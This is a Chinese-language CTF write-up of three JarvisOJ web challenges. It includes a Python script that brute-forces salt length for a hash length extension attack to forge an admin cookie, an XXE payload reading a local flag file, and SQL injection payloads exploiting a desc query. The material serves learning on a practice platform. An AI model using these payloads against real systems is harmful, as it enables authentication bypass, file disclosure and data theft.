jarvisoj flag在管理員手上
涉及知識點:
(2)哈希長度拓展攻擊
解析:
進入題目的界面。看到
那么就是想方設法的變成admin了。掛上御劍開始審計。發現cookie有點問題,這個role很明顯是guest字符串的序列化。
那么是不是簡單的把role換成admin的序列化就可以了?嘗試了一下,果然不行。
這時候,御劍掃到東西了。看了一下是個index.php~文件,看了一下內部。。亂碼,估計是一個可以復原的文件。
去kali下把后綴改成.swp,使用vim -r指令來復原文件。
得到源碼。
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) { //strrev()函數使字符串倒過來
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>
</body>
</html>
本來可以使用hashpump來工具操作,但是這道題沒有給salt的長度。。只能爆破了。
附上爆破腳本
import requests,hashpumpy,urllib def attack(): url = 'http://web.jarvisoj.com:32778/' old_cookie = '3a4727d57463f122833d9e732f94e4e0' str1 = 's:5:"guest";' str2 = 's:5:"admin";' str1 = str1[::-1] #倒過來,這道題要role的值反過來求md5 str2 = str2[::-1] for i in range(1,20): #用於爆破salt的長度 new_cookie,message = hashpumpy.hashpump(old_cookie,str1,str2,i) payload = {'role':urllib.parse.quote(message[::-1]),'hsh':new_cookie} #quote()可以把 \x00 變成 %00 ans = requests.get(url,cookies = payload) print(i) print(ans.text) if 'welcome' in ans.text: print(ans.text) #print(urllib.parse.quote('\x00')) attack()
爆破出flag。
PS:哈希長度拓展攻擊只能用於salt在可變參數之前的情況下。還有本題的逆序是個特例,常用腳本可以去掉str1 = str1[::-1]等的。
jarvisoj api調用
設計知識點:
xxe
解析:
就是一個xxe。發個包就完事了,就不單獨拿出來寫博客了。(其實對我這種新手還是挺難看出是xml的)
<?xml version="1.0"?> <!DOCTYPE abcd[ <!ENTITY any SYSTEM "file:///home/ctf/flag.txt">]> <aaa>&any;</aaa>
jarvisoj inject
涉及知識點:
desc查詢
解析:
有點惡心,但是沒必要專門為它寫一篇隨筆。源碼在index.php~中這個御劍可以掃到。
<?php require("config.php"); $table = $_GET['table']?$_GET['table']:"test"; $table = Filter($table); mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker(); $sql = "select 'flag{xxx}' from secret_{$table}"; $ret = sql_query($sql); echo $ret[0]; ?>
desc的固定查詢格式是
desc `table1` `table2` //只要有一個表正確就返回true
所以payload: ?table=test` `union select database() limit 1,1
(當初好久沒注sql忘記了limit 1,1 在這卡了好久,復習下吧,其他的都和普通sql沒區別)
最后用payload: ?table=test` `union select flagUwillNeverKnow from secret_flag limit 1,1 拿到flag